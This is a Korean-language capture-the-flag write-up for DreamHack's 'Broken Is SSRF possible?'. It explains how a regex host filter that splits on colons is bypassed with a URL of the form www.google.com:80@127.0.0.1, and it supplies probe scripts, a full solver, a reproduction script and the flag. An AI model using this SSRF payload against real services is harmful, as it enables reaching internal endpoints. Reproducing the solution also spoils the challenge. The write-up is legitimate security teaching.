[🥈 Silver 3] 포트 표기 하나로 무너지는 호스트 화이트리스트 — DreamHack Broken Is SSRF possible? 풀이

2026-10-21·1분 읽기·

[🥈 Silver 3] 포트 표기 하나로 무너지는 호스트 화이트리스트 — DreamHack Broken Is SSRF possible? 풀이

www.google.com 만 허용하는 SSRF 필터가 호스트를 정규식으로 뽑고 콜론 기준으로 잘라 쓴다. userinfo 자리에 www.google.com:80 을 넣고 그 뒤에 127.0.0.1 을 붙이면 필터는 통과를 내주고 requests 는 루프백에 붙는다. 서버가 자기 /admin 을 호출하게 만들어 플래그 해시를 내가 아는 값으로 덮어썼다.

문제: DreamHack — Broken Is SSRF possible? 분류: web 난이도: 🥈 Silver 3 FLAG: DH{please_share_your_idea_okay_good}

문제 설명은 한 줄이 전부다. "퍼벙-(ssrf 터지는 소리)". 제목에 박힌 Broken 이 무엇을 가리키는지가 이 문제의 전부인데, 소스를 열어 보면 그 답이 주석 처리된 세 줄로 남아 있다.

라이브 서버 루트에 접속하면 Flask 가 404 Not Found 를 돌려준다. 주소창의 host3.dreamhack.games:12690 이 이번 인스턴스이고, 인덱스 라우트가 없어 엔드포인트를 소스에서 직접 찾아야 한다.
라이브 서버 루트에 접속하면 Flask 가 404 Not Found 를 돌려준다. 주소창의 host3.dreamhack.games:12690 이 이번 인스턴스이고, 인덱스 라우트가 없어 엔드포인트를 소스에서 직접 찾아야 한다.

문제 개요

항목내용
문제명Broken Is SSRF possible?
난이도🥈 Silver 3
분류web
스택Python 3.10 · Flask · requests · python:3.10-slim
제공 파일app.py · Dockerfile · requirements.txt
서버http://host3.dreamhack.games:12690/ (드림핵 VM)
핵심 취약점URL authority 파싱 불일치 — 필터가 보는 호스트와 HTTP 클라이언트가 접속하는 호스트가 다르다

플래그는 /flag 가 들고 있는데, 전역 변수 flag 와 내가 넘긴 닉네임의 SHA-256 이 같아야 내준다. 그 전역 변수를 바꿀 수 있는 곳은 /admin 하나뿐이고 /admin 은 remote_addr 가 127.0.0.1 일 때만 동작한다.

그래서 할 일은 단순하다. 서버가 자기 자신의 /admin?nickname=내가_아는_값 을 호출하게 만들면 된다. 그 길목에 서 있는 게 /check-url 의 SSRF 필터고, 이 글은 그 필터를 어떻게 지나갔는지에 대한 기록이다.



🧩 배경 — SSRF 필터는 대개 같은 자리에서 터진다

SSRF 방어 코드는 보통 두 단계로 짜인다. 먼저 URL 문자열에서 호스트를 뽑아 화이트리스트나 사설 대역과 비교하고, 그다음 HTTP 클라이언트로 그 URL을 실제로 요청한다.

문제는 두 단계가 같은 문자열을 서로 다른 파서로 읽는다는 데 있다. 앞 단계는 사람이 손으로 짠 정규식이고, 뒤 단계는 RFC 3986 을 따르는 라이브러리다. 두 해석이 갈리는 입력을 하나만 찾으면 검사는 통과하고 요청은 엉뚱한 데로 간다.

갈리기 쉬운 지점은 몇 군데로 정해져 있다.

  • userinfo — @ 앞은 사용자 정보지 호스트가 아니다. 손으로 짠 파서는 이걸 모른다.

  • fragment — # 뒤는 서버로 전송조차 되지 않는다.

  • 포트 구분자 : — 호스트와 포트를 가르는 콜론을 어디서 찾느냐에 따라 결과가 달라진다.

  • IP 표기법 — 십진수 2130706433 , 8진수 0177.0.0.1 , IPv6 매핑 [::ffff:127.0.0.1] .

이번 문제가 건드리는 건 이 중 앞의 셋이다. 그리고 출제자는 @ 와 # 을 막는 코드를 써 놓고 주석 처리했다.


🔬 코드 정찰 — app.py 를 뜯어본다

배포본은 파일 세 개가 전부다. Dockerfile 은 python:3.10-slim 위에 Flask 와 requests 만 올리고 app.py 를 80 번 포트로 띄운다.

라우트는 셋이다.

@app.route('/check-url', methods=['POST'])   # 사용자가 준 URL 을 검사하고 요청해 준다
@app.route('/admin', methods=['GET'])        # remote_addr == 127.0.0.1 이어야 함. flag 를 덮어쓴다
@app.route("/flag", methods=['POST'])        # flag == sha256(nickname) 이면 DH{...}

/admin 과 /flag 는 짧아서 그대로 옮겨 둔다.

@app.route('/admin',methods=['GET'])
def admin():
    global flag
    user_ip = request.remote_addr
    if user_ip != "127.0.0.1":
        return "only localhost."
    if request.args.get('nickname'):
        nickname = request.args.get('nickname')
        flag = sha256_hash(nickname)
        return "success."
 
@app.route("/flag",methods=['POST'])
def clear():
    global flag
    if flag == sha256_hash(request.args.get('nickname')):
        return "DH{REDACTED}"
    else:
        return "you can't bypass SSRF-FILTER zzlol 😛"

/admin 은 닉네임을 받아 전역 flag 를 그 해시로 덮어쓴다. 플래그를 읽는 게 아니라 쓰는 쪽이라는 점이 중요하다. 즉 원래 값이 뭐였는지는 알 필요가 없고, 내가 아는 문자열의 해시로 바꿔치기한 다음 /flag 에 그 문자열을 내밀면 된다.

브라우저로 /admin 을 직접 때려 보면 당연히 막힌다.

라이브 서버의 /admin 에 닉네임을 붙여 직접 요청하면 only localhost 만 돌아온다. 외부에서 온 요청은 remote_addr 가 루프백이 아니라서 플래그 해시를 덮어쓰는 분기까지 가지 못한다.
라이브 서버의 /admin 에 닉네임을 붙여 직접 요청하면 only localhost 만 돌아온다. 외부에서 온 요청은 remote_addr 가 루프백이 아니라서 플래그 해시를 덮어쓰는 분기까지 가지 못한다.

혹시 전역 flag 의 초기값이 공개된 문자열의 해시는 아닐까 싶어 먼저 대조했다. app.py 10행에 하드코딩된 해시가 있고, main 은 또 다른 해시를 하나 찍는다. 둘이 같으면 그 원문만 /flag 에 넣고 끝날 일이다.

#!/usr/bin/env python3
# app.py 는 전역 flag 를 해시 한 줄로 들고 시작하고, main 에서 또 다른 해시를 찍는다.
# 둘이 같으면 /flag 에 그 원문만 넣으면 끝나므로 먼저 대조해 본다.
import hashlib
 
INITIAL = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"
HINT = "당신의 창의적인 공격 아이디어를 보여주세요!"
 
print("app.py 10행 flag  :", INITIAL)
print("main 이 찍는 해시 :", hashlib.sha256(HINT.encode()).hexdigest())
print("일치 여부          :", hashlib.sha256(HINT.encode()).hexdigest() == INITIAL)
python3 hash_check.py
app.py 10행 flag  : d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a
main 이 찍는 해시 : 0283153f9e56fcce0e5b8c3b10a27918c2780e99f04c54db77a40e9d193d6a50
일치 여부          : False

지름길은 없다. SSRF 로 가야 한다.

주석 처리된 세 줄

check_ssrf() 의 첫머리를 보면 제목의 뜻이 바로 드러난다.

cat -n extracted/app.py | sed -n "19,46p"
cat 과 sed 로 app.py 19행부터 46행까지를 꺼낸 화면. 22행부터 24행의 골뱅이와 샵 차단 코드가 주석으로 죽어 있고, 36행 정규식과 43행 콜론 분리가 호스트 추출의 전부다.
cat 과 sed 로 app.py 19행부터 46행까지를 꺼낸 화면. 22행부터 24행의 골뱅이와 샵 차단 코드가 주석으로 죽어 있고, 36행 정규식과 43행 콜론 분리가 호스트 추출의 전부다.

22~24행이 범인이다.

    # if "@" in url or "#" in url:
    #     isSafe = False
    #     return "Fail"

출제자는 userinfo 와 fragment 를 막아야 한다는 걸 알고 있었고, 코드까지 썼다가 주석으로 묻어 뒀다. 제목의 Broken 은 이 세 줄을 가리킨다.

남은 검사는 이렇다.

  1. protocol = re.match(r'^[^:]+', url) — 첫 콜론 앞이 http 나 https 여야 한다.

  2. host = re.search(r'(?<=//)[^/]+', url) — 처음 나오는 // 뒤부터 다음 / 전까지를 호스트로 본다.

  3. if ":" in host: host = host.split(":"); host = host[0] — 콜론이 있으면 첫 조각만 남긴다.

  4. socket.gethostbyname(host) 로 해석한 IP 가 사설 대역이면 거절. 이걸 1초 간격으로 60번 반복한다.

  5. requests.get(url, allow_redirects=False) 로 한 번 요청해 보고 3xx 면 location 을 들고 재귀.

그리고 /check-url 핸들러 자신도 같은 방식으로 호스트를 뽑아 www.google.com 인지 본다. 즉 호스트 추출 로직은 두 군데에 똑같이 복사돼 있고, 화이트리스트 비교는 핸들러 쪽에만 있다.


🧱 배경 — authority 안에서 호스트는 어디부터인가

URL 의 // 와 다음 / 사이를 authority 라고 부른다. RFC 3986 은 이걸 이렇게 쪼갠다.

authority = [ userinfo "@" ] host [ ":" port ]

@ 가 있으면 그 앞은 전부 userinfo 고, 호스트는 마지막 @ 다음부터 시작한다. 브라우저 주소창에 http://user:pass@example.com/ 을 치면 example.com 으로 가면서 Basic 인증을 붙여 주는 그 문법이다.

app.py 의 정규식은 authority 를 통째로 집어낸다. 거기까지는 맞다. 문제는 그다음 줄이다. 포트를 떼려고 split(":")[0] 을 쓰는데, @ 를 모르는 파서에게 www.google.com:80@127.0.0.1 은 "콜론이 하나 있는 문자열" 일 뿐이다. 첫 조각 www.google.com 만 남고 ** @ 뒤의 진짜 호스트가 통째로 잘려 나간다.**

그리고 사설 대역 검사는 socket.gethostbyname() 과 ipaddress.is_private 두 줄이 전부다. 잘려 나간 뒤의 호스트가 www.google.com 인 이상, 이 검사는 60번을 돌려도 통과한다.

#!/usr/bin/env python3
# check_ssrf() 의 내부망 검사는 socket.gethostbyname() + ipaddress.is_private 두 줄이 전부다.
# 페이로드의 호스트가 www.google.com 으로 읽히는 한, 이 검사는 60번을 돌려도 통과한다.
import ipaddress
import socket
 
for host in ("www.google.com", "127.0.0.1", "localhost", "169.254.169.254"):
    try:
        ip = socket.gethostbyname(host)
    except OSError as e:
        print("%-18s -> 해석 실패 (%s)" % (host, e))
        continue
    priv = ipaddress.ip_address(ip).is_private
    print("%-18s -> %-15s is_private = %-5s  %s"
          % (host, ip, priv, "차단" if priv else "통과"))
python3 dns_check.py
dns_check.py 실행 화면. www.google.com 은 142.251.155.119 로 풀려 is_private 가 False 라 통과하고, 127.0.0.1 과 localhost, 메타데이터 주소 169.254.169.254 는 모두 True 라 차단된다.
dns_check.py 실행 화면. www.google.com 은 142.251.155.119 로 풀려 is_private 가 False 라 통과하고, 127.0.0.1 과 localhost, 메타데이터 주소 169.254.169.254 는 모두 True 라 차단된다.


🐛 막힌 방향들

처음부터 userinfo 로 간 건 아니다. 세 갈래를 먼저 찔러 봤고 전부 접었다.

▶🐛 삽질 1 — 리다이렉션 체인으로 넘기려다

check_ssrf() 는 응답이 3xx 면 location 을 들고 자기를 다시 부른다. 재귀 쪽에는 화이트리스트 비교가 없으니, 내가 띄운 서버가 Location: http://127.0.0.1/admin?... 을 주면 될 것처럼 보인다.

        try:
            response = requests.get(url,allow_redirects=False)
            if 300 <= response.status_code and response.status_code <= 309:
                redirect_url = response.headers['location']
                print("리다이렉션이 감지되었습니다.",redirect_url)
                if len(redirect_url) >= 120:
                    isSafe = False
                    return "fail"
                check_ssrf(redirect_url,checked + 1)

여기서 두 가지가 걸렸다.

첫째, 재귀 안에서도 socket.gethostbyname() + is_private 검사를 60초 동안 또 돈다. 127.0.0.1 은 그 자리에서 걸린다. 중간 홉이 하나 늘 때마다 1분씩 더 기다리는 것도 덤이다.

둘째, 애초에 첫 홉의 호스트가 www.google.com 이어야 한다. 내 서버로 리다이렉트를 받으려면 구글이 내 주소로 302 를 줘야 하는데 그럴 리가 없다.

검증 요청과 실제 요청이 따로 나간다는 점을 노려 TOCTOU 를 거는 변형도 생각해 봤다. 같은 URL 에 대해 requests.get 이 두 번 호출되니, 첫 번째엔 얌전한 응답을 주고 두 번째에 루프백으로 리다이렉트하면 된다. 하지만 이것도 첫 홉이 내 서버여야 성립한다. 결국 호스트 화이트리스트를 먼저 깨지 않으면 어떤 변형도 못 쓴다.

▶🐛 삽질 2 — fragment 로 뒤를 끊어 보기

주석에 # 도 같이 적혀 있던 걸 보고 fragment 쪽을 먼저 시험했다. http://www.google.com#@127.0.0.1/admin 이면 브라우저는 google.com 으로 가고 뒤는 버린다.

필터 입장에서는 반대로 움직인다. (?<=//)[^/]+ 는 / 를 만날 때까지 먹으므로 www.google.com#@127.0.0.1 을 통째로 잡고, 콜론이 없으니 split 도 안 돈다. 호스트가 그대로 남아 비교에서 떨어진다.

로컬 컨테이너에 여섯 가지 모양을 한꺼번에 던져 어느 것이 화이트리스트를 지나는지부터 확인했다. 즉시 응답이 오면 핸들러의 호스트 비교에서 걸린 것이고, 응답이 없으면 check_ssrf() 의 60초 루프까지 들어갔다는 뜻이다.

#!/usr/bin/env python3
# /check-url 의 호스트 화이트리스트가 어떤 모양의 URL 을 통과시키는지 로컬 컨테이너로 확인한다.
# 즉시 응답 = check_url() 의 호스트 비교에서 바로 걸린 것,
# 타임아웃 = check_ssrf() 의 60초 IP 재검증 루프까지 들어간 것(= 호스트 검사 통과).
import sys
import unicodedata
 
import requests
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:18412"
NICK = "probe"
 
CASES = [
    ("127.0.0.1 직접",        "http://127.0.0.1/admin?nickname=" + NICK),
    ("localhost",             "http://localhost/admin?nickname=" + NICK),
    ("정상 구글",             "http://www.google.com/"),
    ("@ 만 붙임",             "http://www.google.com@127.0.0.1/admin?nickname=" + NICK),
    ("# 만 붙임",             "http://www.google.com#@127.0.0.1/admin?nickname=" + NICK),
    ("@ + 포트 표기",         "http://www.google.com:80@127.0.0.1/admin?nickname=" + NICK),
]
 
def pad(text, width):
    """한글이 2칸을 먹으므로 표시 너비 기준으로 맞춘다."""
    w = sum(2 if unicodedata.east_asian_width(c) in "WF" else 1 for c in text)
    return text + " " * max(0, width - w)
 
 
for label, url in CASES:
    try:
        r = requests.post(BASE + "/check-url", json={"url": url}, timeout=8)
        verdict = r.text.strip()[:46]
    except requests.exceptions.ReadTimeout:
        verdict = ">>> 8초 무응답 = IP 재검증 루프 진입 (호스트 검사 통과)"
    print("[%s] %-58s %s" % (pad(label, 14), url, verdict))
python3 probe_filter.py
probe_filter.py 실행 결과. 루프백과 localhost, 골뱅이만 붙인 형태, 샵만 붙인 형태는 모두 호스트 비교에서 즉시 거절되고, 정상 구글 주소와 포트를 끼운 형태만 8초 무응답으로 IP 재검증 루프에 들어간다.
probe_filter.py 실행 결과. 루프백과 localhost, 골뱅이만 붙인 형태, 샵만 붙인 형태는 모두 호스트 비교에서 즉시 거절되고, 정상 구글 주소와 포트를 끼운 형태만 8초 무응답으로 IP 재검증 루프에 들어간다.

여섯 줄 중 통과한 건 둘뿐이다. 하나는 진짜 구글, 하나는 포트를 끼워 넣은 형태.

▶🐛 삽질 3 — DNS 리바인딩은 설계상 막혀 있다

gethostbyname 과 실제 요청 사이의 시간차를 노리는 게 SSRF 의 고전이다. 그런데 이 코드는 그 틈을 일부러 넓혀 놨다.

        for _ in range(60):
            print("IP를 검증 중입니다..", _)
            ip_address = socket.gethostbyname(host)
            if ipaddress.ip_address(ip_address).is_private:
                print("내부망 IP가 감지되었습니다. ")
                isSafe = False
                return "Fail"
            time.sleep(1) # 1초 대기

1초마다 60번을 다시 해석한다. 그 60초 안에 레코드를 한 번이라도 사설 IP 로 바꾸면 걸린다. 루프가 끝난 직후에 바꾸는 윈도우가 이론적으로 남지만, 외부 DNS 서버와 TTL 을 들고 초 단위로 맞춰야 하는 작업이다. 호스트 문자열 자체를 속이는 쪽이 비교도 안 되게 싸다.



💣 핵심 — 콜론 하나가 필터를 무력화한다

통과한 형태는 http://www.google.com:80@127.0.0.1/admin?nickname=X 였다. 왜 이것만 되는지 직접 확인해 보자.

같은 문자열을 두 코드가 어떻게 읽는지 나란히 출력했다. 위쪽은 app.py 의 호스트 추출 로직을 그대로 옮긴 것이고, 아래쪽은 requests 가 접속 대상을 정할 때 실제로 쓰는 urllib3 파서다.

#!/usr/bin/env python3
# 같은 문자열을 (1) app.py 의 필터와 (2) requests 가 서로 다르게 읽는다는 것을 직접 보여준다.
# (1) 은 app.py 94~102행 / 36~45행을 그대로 옮긴 것이고,
# (2) 는 requests 가 접속 대상을 정할 때 실제로 쓰는 urllib3 파서다.
import re
 
import urllib3.util
from requests import Request
 
URLS = [
    "http://127.0.0.1/admin?nickname=x",
    "http://www.google.com@127.0.0.1/admin?nickname=x",
    "http://www.google.com:80@127.0.0.1/admin?nickname=x",
]
 
 
def filter_host(url):
    """app.py 가 화이트리스트 비교에 쓰는 호스트 추출 로직 (원본 그대로)"""
    host = re.search(r'(?<=//)[^/]+', url)
    if host is None:
        return None
    host = host.group()
    if ":" in host:
        host = host.split(":")
        host = host[0]
    return host
 
 
for url in URLS:
    seen = filter_host(url)
    real = urllib3.util.parse_url(url)
    prep = Request("GET", url).prepare()
    print("URL           :", url)
    print("  app.py 필터가 보는 호스트 :", seen, "  ->",
          "통과" if seen == "www.google.com" else "거절")
    print("  urllib3 가 실제로 붙는 곳 :", real.host, "port", real.port or 80,
          "| auth =", real.auth)
    print("  requests Authorization   :", prep.headers.get("Authorization"))
    print()
python3 parse_demo.py
parse_demo.py 실행 결과. 포트를 끼운 세 번째 URL 에서만 필터가 www.google.com 을 보고 통과를 내주는데, urllib3 는 같은 문자열에서 127.0.0.1 을 호스트로 읽고 앞부분을 Basic 인증 자격으로 돌린다.
parse_demo.py 실행 결과. 포트를 끼운 세 번째 URL 에서만 필터가 www.google.com 을 보고 통과를 내주는데, urllib3 는 같은 문자열에서 127.0.0.1 을 호스트로 읽고 앞부분을 Basic 인증 자격으로 돌린다.

세 번째 줄이 전부다. 필터는 www.google.com 을, urllib3 는 127.0.0.1 을 본다. 그리고 www.google.com:80 은 user:password 모양이라 그대로 Authorization: Basic 헤더가 된다.

@ 만 붙인 두 번째 줄과 비교해 보면 왜 포트가 필요한지가 선명해진다. 콜론이 없으면 split(":") 분기 자체가 안 돌아서 호스트 문자열이 www.google.com@127.0.0.1 그대로 남는다. 포트 표기는 접속에 필요한 게 아니라, 필터의 잘라내기 로직을 발동시키려고 넣는 것이다.

같은 문자열을 두 코드가 다르게 읽는 과정을 그린 도식. 정규식은 authority 를 통째로 잡은 뒤 콜론 기준으로 잘라 www.google.com 을 남기고, RFC 3986 파서는 골뱅이 앞을 userinfo 로 보고 127.0.0.1 에 접속한다.
같은 문자열을 두 코드가 다르게 읽는 과정을 그린 도식. 정규식은 authority 를 통째로 잡은 뒤 콜론 기준으로 잘라 www.google.com 을 남기고, RFC 3986 파서는 골뱅이 앞을 userinfo 로 보고 127.0.0.1 에 접속한다.

파이썬 라이브러리만 그렇게 읽는 건 아니다. curl 에 같은 문자열을 주면 똑같이 동작한다.

curl -sv --max-time 8 "http://www.google.com:80@127.0.0.1:18412/admin?nickname=curl-demo"
curl 의 verbose 출력. 접속 대상은 127.0.0.1 포트 18412 이고 Host 헤더도 그 값이며, www.google.com 은 Basic 인증 사용자명으로 들어간다. 컨테이너 밖에서 온 요청이라 응답은 only localhost 다.
curl 의 verbose 출력. 접속 대상은 127.0.0.1 포트 18412 이고 Host 헤더도 그 값이며, www.google.com 은 Basic 인증 사용자명으로 들어간다. 컨테이너 밖에서 온 요청이라 응답은 only localhost 다.

Server auth using Basic with user 'www.google.com' 과 Host: 127.0.0.1:18412 가 나란히 찍힌다. 호스트 이름처럼 생긴 문자열이 자격증명 자리로 내려앉은 것이다.

마지막 줄의 only localhost. 도 눈여겨볼 만하다. 내 PC 에서 보낸 요청이라 remote_addr 는 도커 브리지 주소다. userinfo 트릭은 목적지를 바꾸는 것이지 출발지를 바꾸는 게 아니다. 루프백에서 온 요청으로 만들려면 어차피 서버가 스스로 요청하게 해야 한다.



🎯 익스플로잇 — 라이브 서버에서

/check-url 은 POST 에 Content-Type: application/json 이라 주소창만으로는 못 부른다. 그래서 같은 오리진에 머문 채로 브라우저 쪽에서 fetch 를 날리고, 요청 URL 과 응답 본문을 페이지에 그대로 그려 둔 뒤 창을 찍었다. 주소창에 라이브 호스트가 남아 있는 건 그래서다.

fetch('/check-url', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: u })
}).then(r => Promise.all([r.status, r.text()]))
  .then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });

먼저 루프백을 그대로 넣어 본다.

라이브 서버에서 루프백 주소를 그대로 넣은 응답. Host 는 반드시 www.google.com 이어야 한다는 문자열이 돌아오고, 주소창에는 host3.dreamhack.games 인스턴스가 그대로 남아 있다.
라이브 서버에서 루프백 주소를 그대로 넣은 응답. Host 는 반드시 www.google.com 이어야 한다는 문자열이 돌아오고, 주소창에는 host3.dreamhack.games 인스턴스가 그대로 남아 있다.

다음은 @ 만 붙인 형태. 로컬에서 본 것과 같은 이유로 거절된다.

골뱅이만 붙이고 포트를 생략한 URL 을 라이브 서버에 던진 응답. 콜론이 없어 잘라내기 분기가 돌지 않으므로 호스트가 통째로 남아 같은 거절 메시지가 돌아온다.
골뱅이만 붙이고 포트를 생략한 URL 을 라이브 서버에 던진 응답. 콜론이 없어 잘라내기 분기가 돌지 않으므로 호스트가 통째로 남아 같은 거절 메시지가 돌아온다.

이제 포트를 끼운다. 응답까지 1분 넘게 걸린다. 그동안 서버는 www.google.com 을 60번 다시 해석하면서 "안전한 외부 주소" 라고 확인하고 있다.

포트를 끼운 최종 페이로드에 대한 라이브 서버 응답. status_code 200 과 요청 URL 이 JSON 으로 돌아왔고, 이는 필터를 통과해 서버가 실제로 그 주소에 요청을 보냈다는 뜻이다.
포트를 끼운 최종 페이로드에 대한 라이브 서버 응답. status_code 200 과 요청 URL 이 JSON 으로 돌아왔고, 이는 필터를 통과해 서버가 실제로 그 주소에 요청을 보냈다는 뜻이다.

{"status_code": 200, ...} 이 돌아왔다. 필터가 통과를 내줬고, 핸들러 마지막 줄의 requests.get(url) 이 실제로 요청을 보냈다는 뜻이다. 이 시점에 전역 flag 는 이미 sha256("zino-browser") 로 바뀌어 있다.

서버가 정말 자기 자신을 불렀을까

로컬 컨테이너의 접속 로그를 보면 확실해진다.

docker logs broken-ssrf-1412 2>&1 | grep -E "^(127|172)\."
컨테이너 접속 로그. 도커 브리지 주소에서 온 check-url 과 flag 요청 사이에, 루프백 주소에서 온 admin 요청이 두 번 찍혀 있다. 검증용 요청과 실제 요청이 따로 나가기 때문이다.
컨테이너 접속 로그. 도커 브리지 주소에서 온 check-url 과 flag 요청 사이에, 루프백 주소에서 온 admin 요청이 두 번 찍혀 있다. 검증용 요청과 실제 요청이 따로 나가기 때문이다.

172.17.0.1 은 내 PC(도커 브리지)에서 보낸 POST /check-url 과 POST /flag 다. 그 사이에 127.0.0.1 에서 온 GET /admin 이 두 번 찍혀 있다.

두 번인 이유는 check_ssrf() 안의 requests.get(url, allow_redirects=False) 와 핸들러 끝의 requests.get(url) 이 각각 한 번씩 보내기 때문이다. 검사와 실행이 같은 URL 을 두 번 따라가는 구조라, 애초에 TOCTOU 를 심으려면 여기가 자리였다. 이번엔 그럴 필요가 없었을 뿐이다.

출발지가 127.0.0.1 로 찍혔으니 /admin 의 remote_addr 검사는 그대로 통과한다.



🚀 Full Exploit

전체 흐름은 요청 두 번이면 끝난다. /check-url 로 서버가 자기 /admin 을 부르게 만들고, 바로 /flag 에 같은 닉네임을 내민다.

#!/usr/bin/env python3
# Broken Is SSRF possible? (DreamHack, Silver 3, web) - solver
#
# 흐름
#   1) /check-url 은 url 의 호스트가 www.google.com 인지만 본다.
#      호스트 추출이 정규식 (?<=//)[^/]+ 이고, ':' 가 있으면 split(':')[0] 을 쓴다.
#      그래서 "http://www.google.com:80@127.0.0.1/..." 은
#        - 호스트 문자열  = "www.google.com:80@127.0.0.1"
#        - split(':')[0] = "www.google.com"   -> 화이트리스트 통과
#        - gethostbyname("www.google.com") -> 공인 IP  -> 내부망 검사 통과
#      반면 requests 는 "www.google.com:80" 을 userinfo 로 보고 실제로는
#      127.0.0.1 에 붙는다. (app.py 22~24행의 '@' 차단이 주석 처리돼 있다)
#   2) 그렇게 서버가 자기 자신의 /admin?nickname=<NICK> 을 호출하면
#      remote_addr 가 127.0.0.1 이라 전역 flag 가 sha256(<NICK>) 으로 덮인다.
#   3) POST /flag?nickname=<NICK> -> flag == sha256(nickname) 이 성립해 DH{...} 가 나온다.
#
# 사용법: python3 solve.py http://host1.dreamhack.games:PORT [nickname]
 
import hashlib
import sys
import time
 
import requests
 
BASE = sys.argv[1].rstrip("/")
NICK = sys.argv[2] if len(sys.argv) > 2 else "zino-%d" % int(time.time())
 
# ':' 가 있어야 split(':')[0] 로 www.google.com 이 떨어진다. 포트는 아무 값이나 된다.
PAYLOAD = "http://www.google.com:80@127.0.0.1/admin?nickname=" + NICK
 
print("[*] target   :", BASE)
print("[*] nickname :", NICK)
print("[*] sha256   :", hashlib.sha256(NICK.encode()).hexdigest())
print("[*] payload  :", PAYLOAD)
 
# check_ssrf 가 1초 sleep 을 60번 돌며 DNS 를 재확인한다 -> 응답까지 60초 이상 걸린다.
print("[*] POST /check-url  (서버가 60초간 IP 재검증 루프를 돈다)")
t0 = time.time()
r = requests.post(
    BASE + "/check-url",
    json={"url": PAYLOAD},
    timeout=180,
)
print("[+] %.1fs  %d  %s" % (time.time() - t0, r.status_code, r.text.strip()))
 
if "status_code" not in r.text:
    print("[-] 필터를 통과하지 못했다. 중단.")
    sys.exit(1)
 
print("[*] POST /flag")
r = requests.post(BASE + "/flag", params={"nickname": NICK}, timeout=30)
print("[+] %d  %s" % (r.status_code, r.text.strip()))

먼저 로컬 컨테이너로 돌려 봤다. 배포본 app.py 의 /flag 는 진짜 플래그 대신 DH{REDACTED} 를 돌려주므로, 이 출력은 "우회가 성립해 플래그 분기에 도달했다" 는 뜻이다.

python3 solve.py http://127.0.0.1:18412 zino-local-check
로컬 컨테이너를 상대로 solve.py 를 돌린 결과. check-url 응답이 60.4초 만에 status_code 200 으로 돌아오고, 이어진 flag 요청이 배포본의 자리표시자 값을 반환해 체인이 성립함을 보여준다.
로컬 컨테이너를 상대로 solve.py 를 돌린 결과. check-url 응답이 60.4초 만에 status_code 200 으로 돌아오고, 이어진 flag 요청이 배포본의 자리표시자 값을 반환해 체인이 성립함을 보여준다.

그다음 같은 스크립트를 라이브 서버에 그대로 돌렸다. 인자만 바꾸면 된다.

python3 solve.py http://host3.dreamhack.games:12690 zino-ssrf-1412
라이브 서버를 상대로 solve.py 를 돌린 결과. 60.3초 만에 필터를 통과했고 이어진 flag 요청이 진짜 플래그를 반환해, 로컬에서 세운 가설이 원격에서도 한 번에 맞았음을 보여준다.
라이브 서버를 상대로 solve.py 를 돌린 결과. 60.3초 만에 필터를 통과했고 이어진 flag 요청이 진짜 플래그를 반환해, 로컬에서 세운 가설이 원격에서도 한 번에 맞았음을 보여준다.

브라우저 쪽에서도 같은 닉네임으로 /flag 를 부르면 같은 값이 나온다.

fetch('/flag?nickname=zino-browser', { method: 'POST' })
  .then(r => Promise.all([r.status, r.text()]))
  .then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });
라이브 서버에서 flag 엔드포인트를 호출한 브라우저 화면. 앞서 덮어쓴 닉네임의 해시가 전역 변수와 일치해 플래그 문자열이 그대로 본문에 출력됐다.
라이브 서버에서 flag 엔드포인트를 호출한 브라우저 화면. 앞서 덮어쓴 닉네임의 해시가 전역 변수와 일치해 플래그 문자열이 그대로 본문에 출력됐다.
DH{please_share_your_idea_okay_good}

문제 이름값을 하는 플래그다. 설명 한 줄과 main 이 찍는 해시의 원문이 모두 "창의적인 공격 아이디어를 보여 달라" 였는데, 플래그도 같은 말을 하고 있다.


🧪 재현

배포본만 가지고 체인 전체를 다시 돌릴 수 있게 스크립트를 하나 남겨 뒀다. 인자 없이 돌리면 도커로 컨테이너를 띄워 자리표시자 플래그까지 확인하고, --live 에 VM 주소를 주면 진짜 플래그를 받아 대조한다.

▶📄 reproduce.sh — 빌드부터 플래그 대조까지
#!/usr/bin/env bash
# Broken Is SSRF possible? (DreamHack 1412, Silver 3, web) — 한 방 재현.
#
# 기본(인자 없음)  : 배포본으로 컨테이너를 띄워 익스 체인 전체를 돌린다.
#                    배포본 app.py 의 /flag 는 진짜 flag 대신 "DH{REDACTED}" 를 돌려주므로
#                    여기서의 PASS 는 "우회가 성립해 flag 분기에 도달했다"는 뜻이다.
#                    진짜 flag 는 라이브 서버에서만 나온다(아래 --live).
#   ./reproduce.sh
#
# 라이브 검증      : 드림핵 VM 주소를 주면 진짜 flag 를 받아 문제.json 과 대조한다.
#   ./reproduce.sh --live http://host3.dreamhack.games:PORT
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
IMAGE=broken-ssrf-1412
NAME=broken-ssrf-1412-repro
PORT=${PORT:-18412}
 
if [ "${1:-}" = "--live" ]; then
  BASE=${2:?--live 뒤에 http://host:port 를 적어라}
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  WANT_REDACTED=0
else
  echo "[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile)"
  docker build -q -t "$IMAGE" ./extracted >/dev/null
  docker rm -f "$NAME" >/dev/null 2>&1 || true
  docker run -d --name "$NAME" -p "$PORT":80 "$IMAGE" >/dev/null
  trap 'docker rm -f "$NAME" >/dev/null 2>&1 || true' EXIT
  sleep 3
  BASE="http://127.0.0.1:$PORT"
  EXPECT='DH{REDACTED}'
  WANT_REDACTED=1
fi
 
echo "[*] 익스 실행 — /check-url 이 60초 IP 재검증 루프를 돌아 1분 넘게 걸린다"
OUT=$(timeout 300 python3 solve.py "$BASE" "repro-$(date +%s)" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo
  if [ "$WANT_REDACTED" = "1" ]; then
    echo "✅ PASS  $FLAG  (배포본은 flag 를 가린 채로 배포된다 — 우회 체인은 성립)"
  else
    echo "✅ PASS  $FLAG"
  fi
  exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1
./reproduce.sh
